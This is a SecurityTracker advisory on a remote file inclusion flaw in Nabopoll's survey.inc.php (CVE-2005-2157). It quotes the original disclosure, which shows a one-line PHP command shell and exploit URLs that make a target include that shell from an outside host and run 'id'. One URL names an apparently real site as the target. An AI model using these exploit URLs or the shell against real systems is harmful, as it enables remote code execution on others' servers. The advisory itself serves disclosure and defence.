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Category:   Application (Generic)  >   Nabopoll Vendors:   nabocorp softwares
Nabopoll Include File Flaw Lets Remote Users Execute Arbitrary Code
SecurityTracker Alert ID:  1014355
SecurityTracker URL:  http://securitytracker.com/id/1014355
CVE Reference:   CVE-2005-2157   (Links to External Site)
Updated:  Jun 24 2008
Original Entry Date:  Jul 2 2005
Impact:   Execution of arbitrary code via network, User access via network
Exploit Included:  Yes  

Description:   V4mu from Anomaly 1n The System reported a vulnerability in Nabopoll. A remote user can execute arbitrrary commands on the target system.

The 'survey.inc.php' script includes the 'includes/nabopoll.inc.php' file relative to the user-supplied 'path' variable without properly validating the parameter. A remote user can supply a specially crafted URL to cause the target system to include and execute arbitrary PHP code from a remote location. The PHP code, including operating system commands, will run with the privileges of the target web service.

A demonstration exploit URL is provided:

http://[target]/nabopoll/survey.inc.php?path=http://[attacker]/test/xpl.php?cmd=id

Impact:   A remote user can execute arbitrary PHP code and operating system commands on the target system with the privileges of the target web service.
Solution:   No solution was available at the time of this entry.
Vendor URL:  www.nabocorp.com/nabopoll/ (Links to External Site)
Cause:   Input validation error, State error
Underlying OS:  Linux (Any), UNIX (Any), Windows (Any)

Message History:   None.


 Source Message Contents

Subject:  nabopoll remote file inclusion


########## NaboPoll remote file inclusion founded by V4mu from Anomaly
1n The System ##########


in survey.inc.php line 3:

1  <?php
2=20
3  include_once($path."includes/nabopoll.inc.php");

this line make the survey.inc.php vulnerable to a inclusion of a
remote malicious file in $path:

# example:
# Using a file in www.a1ts.org/test/xpl.php with this source code:
# <? passthru($cmd) ?>
# we can run any shell command in the website like this:

http://www.pronunciationpatterns.com/nabopoll/survey.inc.php?path=3Dhttp://=
www.a1ts.org/test/xpl.php?cmd=3Did

[A]nomaly 1n The System

We are:

V4mu <*> S0l4r1s <*> r3ckd4ll <*> paulinhu <*> nicked

WebSite: www.a1ts.org
 
 


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